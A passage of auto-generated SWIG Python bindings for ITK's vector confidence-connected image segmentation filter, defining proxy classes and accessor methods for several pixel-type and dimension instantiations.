return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF23IUC3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF23IUC3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF23IUC3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF23IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF23IUC3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF23IUC3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF23IUC3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF23IUC3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF23IUC3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF23IUC3)
itkVectorConfidenceConnectedImageFilterIVF23IUC3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_swigregister
itkVectorConfidenceConnectedImageFilterIVF23IUC3_swigregister(itkVectorConfidenceConnectedImageFilterIVF23IUC3)
def itkVectorConfidenceConnectedImageFilterIVF23IUC3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF23IUC3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF23IUC3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF23IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF23IUC3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF23IUC3 *":
"""itkVectorConfidenceConnectedImageFilterIVF23IUC3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF23IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUC3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF23IUS3(itkImageToImageFilterBPython.itkImageToImageFilterIVF23IUS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF23IUS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF23IUS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF23IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF23IUS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self) -> itkVectorConfidenceConnectedImageFilterIVF23IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF23IUS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF23IUS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF23IUS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF23IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF23IUS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF23IUS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF23IUS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF23IUS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF23IUS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF23IUS3)
itkVectorConfidenceConnectedImageFilterIVF23IUS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_swigregister
itkVectorConfidenceConnectedImageFilterIVF23IUS3_swigregister(itkVectorConfidenceConnectedImageFilterIVF23IUS3)
def itkVectorConfidenceConnectedImageFilterIVF23IUS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF23IUS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF23IUS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF23IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF23IUS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF23IUS3 *":
"""itkVectorConfidenceConnectedImageFilterIVF23IUS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF23IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF23IUS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF32ISS2(itkImageToImageFilterBPython.itkImageToImageFilterIVF32ISS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF32ISS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF32ISS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF32ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF32ISS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self) -> itkVectorConfidenceConnectedImageFilterIVF32ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF32ISS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF32ISS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF32ISS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF32ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF32ISS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF32ISS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF32ISS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF32ISS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF32ISS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
itkVectorConfidenceConnectedImageFilterIVF32ISS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF32ISS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF32ISS2)
